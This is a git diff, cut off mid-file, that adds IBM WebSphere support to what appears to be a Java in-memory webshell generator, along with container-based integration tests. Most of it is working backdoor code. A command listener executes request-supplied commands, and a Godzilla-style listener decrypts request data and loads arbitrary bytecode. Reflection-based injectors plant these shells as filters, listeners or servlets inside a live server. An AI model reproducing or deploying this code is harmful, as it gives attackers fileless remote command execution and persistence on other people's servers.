diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index 4f01a89f..2e21fc15 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -31,7 +31,7 @@ jobs: strategy: fail-fast: false matrix: - middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara" ] + middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere" ] runs-on: ubuntu-latest name: ${{ matrix.middleware }} needs: [ unit-test ] diff --git a/generator/src/main/java/com/reajason/javaweb/config/Server.java b/generator/src/main/java/com/reajason/javaweb/config/Server.java index 77538d74..518432c5 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/config/Server.java @@ -1,13 +1,6 @@ package com.reajason.javaweb.config; -import com.reajason.javaweb.memshell.AbstractShell; -import com.reajason.javaweb.memshell.GlassFishShell; -import com.reajason.javaweb.memshell.JbossShell; -import com.reajason.javaweb.memshell.JettyShell; -import com.reajason.javaweb.memshell.PayaraShell; -import com.reajason.javaweb.memshell.ResinShell; -import com.reajason.javaweb.memshell.TomcatShell; -import com.reajason.javaweb.memshell.UndertowShell; +import com.reajason.javaweb.memshell.*; import lombok.Getter; /** @@ -50,7 +43,7 @@ public enum Server { /** * WebSphere 中间件 */ - WebSphere(null), + WebSphere(new WebSphereShell()), /** * WebLogic 中间件 diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java new file mode 100644 index 00000000..90425793 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java @@ -0,0 +1,46 @@ +package com.reajason.javaweb.memshell; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.websphere.command.CommandListener; +import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector; +import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector; +import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.List; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class WebSphereShell extends AbstractShell { + @Override + public List getSupportedShellTools() { + return List.of(ShellTool.Command, ShellTool.Godzilla); + } + + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + Constants.SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class), + Constants.FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class), + Constants.LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + Constants.SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class), + Constants.FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class), + Constants.LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class) + ); + } +} diff --git a/integration-test/docker-compose/websphere/docker-compose-8.5.5.yaml b/integration-test/docker-compose/websphere/docker-compose-8.5.5.yaml new file mode 100644 index 00000000..1b80f082 --- /dev/null +++ b/integration-test/docker-compose/websphere/docker-compose-8.5.5.yaml @@ -0,0 +1,12 @@ +services: + was855: + image: reajason/websphere:8.5.5.24 + container_name: was855 + ports: + - "9080:9080" + - "9060:9060" + - "5005:5005" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java new file mode 100644 index 00000000..929d6491 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.integration.websphere; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.BindMode; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.time.Duration; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Testcontainers +@Slf4j +public class WebSphere855ContainerTest { + public static final String imageName = "reajason/websphere:8.5.5.24"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE) + .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .withExposedPorts(9080) + .withPrivilegedMode(true); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info("container stopped, logs is : {}", logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer); + } + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(9080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java new file mode 100644 index 00000000..d9dfa404 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java @@ -0,0 +1,71 @@ +package com.reajason.javaweb.integration.websphere; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.BindMode; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.time.Duration; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Testcontainers +@Slf4j +public class WebSphere905ContainerTest { + public static final String imageName = "reajason/websphere:9.0.5.17"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE) + .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .withExposedPorts(9080) + .withPrivilegedMode(true); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer); + } + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(9080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java new file mode 100644 index 00000000..736d656f --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java @@ -0,0 +1,68 @@ +package com.reajason.javaweb.memshell.websphere.command; + +import javax.servlet.ServletOutputStream; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.InputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class CommandListener implements ServletRequestListener { + public String paramName = "{{paramName}}"; + + public CommandListener() { + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + HttpServletResponse servletResponse = this.getResponseFromRequest(request); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java new file mode 100644 index 00000000..0f5f3908 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java @@ -0,0 +1,142 @@ +package com.reajason.javaweb.memshell.websphere.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class GodzillaListener extends ClassLoader implements ServletRequestListener { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaListener() { + } + + public GodzillaListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute( + "payload", + (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereFilterInjector.java new file mode 100755 index 00000000..aec0fc67 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereFilterInjector.java @@ -0,0 +1,251 @@ +package com.reajason.javaweb.memshell.websphere.injector; + +import javax.servlet.Filter; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + + +/** + * tested v7、v8 + * update 2023/07/08 + * + * @author ReaJason + */ +public class WebSphereFilterInjector { + + static { + new WebSphereFilterInjector(); + } + + public WebSphereFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getShell(context); + inject(context, filter); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Object context; + Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals"); + Object[] wsThreadLocals = (Object[]) obj; + for (Object wsThreadLocal : wsThreadLocals) { + obj = wsThreadLocal; + // for websphere 7.x + if (obj != null && obj.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFieldValue(obj, "stack"); + for (Object stack : stackList) { + try { + Object config = getFieldValue(stack, "config"); + context = getFieldValue(getFieldValue(config, "context"), "context"); + contexts.add(context); + } catch (Exception ignored) { + } + } + } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { + context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); + contexts.add(context); + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + + @SuppressWarnings("unchecked") + public void inject(Object context, Object filter) throws Exception { + if (isInjected(context)) { + System.out.println("filter already injected"); + return; + } + + Class filterMappingClass; + Class iFilterConfigClass; + Class iServletConfigClass; + ClassLoader classLoader; + try { + classLoader = context.getClass().getClassLoader(); + filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping"); + iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig"); + iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig"); + } catch (Exception e) { + classLoader = Thread.currentThread().getContextClassLoader(); + filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping"); + iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig"); + iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig"); + } + + Object filterManager = getFieldValue(context, "filterManager"); + try { + // v8 + Constructor constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass); + // com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter + setFieldValue(context, "initialized", false); + Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()}); + Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null); + setFieldValue(context, "initialized", true); + + // com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping + invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping}); + + // com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter + invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()}); + + } catch (Exception e) { + // v7 + Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()}); + invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()}); + setFieldValue(filterConfig, "dispatchMode", new int[]{0}); + setFieldValue(filterConfig, "name", getClassName()); + invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig}); + List uriFilterMappings = (ArrayList) getFieldValue(filterManager, "uriFilterMappings"); + int lastIndex = uriFilterMappings.size() - 1; + Object lastElement = uriFilterMappings.remove(lastIndex); + uriFilterMappings.add(0, lastElement); + invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()}); + } + // 清除缓存 + invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null); + System.out.println("filter injected successfully"); + } + + public boolean isInjected(Object context) throws Exception { + Object webAppConfiguration = getFieldValue(context, "config"); + return invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereListenerInjector.java new file mode 100644 index 00000000..e235acce --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereListenerInjector.java @@ -0,0 +1,151 @@ +package com.reajason.javaweb.memshell.websphere.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class WebSphereListenerInjector { + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + static { + new WebSphereListenerInjector(); + } + + public WebSphereListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getShell(context); + inject(context, listener); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Object context; + Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals"); + Object[] wsThreadLocals = (Object[]) obj; + for (Object wsThreadLocal : wsThreadLocals) { + obj = wsThreadLocal; + // for websphere 7.x + if (obj != null && obj.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFieldValue(obj, "stack"); + for (Object stack : stackList) { + try { + Object config = getFieldValue(stack, "config"); + context = getFieldValue(getFieldValue(config, "context"), "context"); + contexts.add(context); + } catch (Exception ignored) { + } + } + } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { + context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); + contexts.add(context); + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("unchecked") + public void inject(Object context, Object listener) throws Exception { + List listeners = (List) getFieldValue(context, "servletRequestListeners"); + for (Object o : listeners) { + if (o.getClass().getName().equals(getClassName())) { + System.out.println("listener already injected"); + return; + } + } + listeners.add(listener); + System.out.println("listener injected successfully"); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereServletInjector.java new file mode 100644 index 00000000..01293cc2 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereServletInjector.java @@ -0,0 +1,178 @@ +package com.reajason.javaweb.memshell.websphere.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.Properties; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class WebSphereServletInjector { + + static { + new WebSphereServletInjector(); + } + + public WebSphereServletInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getShell(context); + inject(context, listener); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Object context; + Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals"); + Object[] wsThreadLocals = (Object[]) obj; + for (Object wsThreadLocal : wsThreadLocals) { + obj = wsThreadLocal; + // for websphere 7.x + if (obj != null && obj.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFieldValue(obj, "stack"); + for (Object stack : stackList) { + try { + Object config = getFieldValue(stack, "config"); + 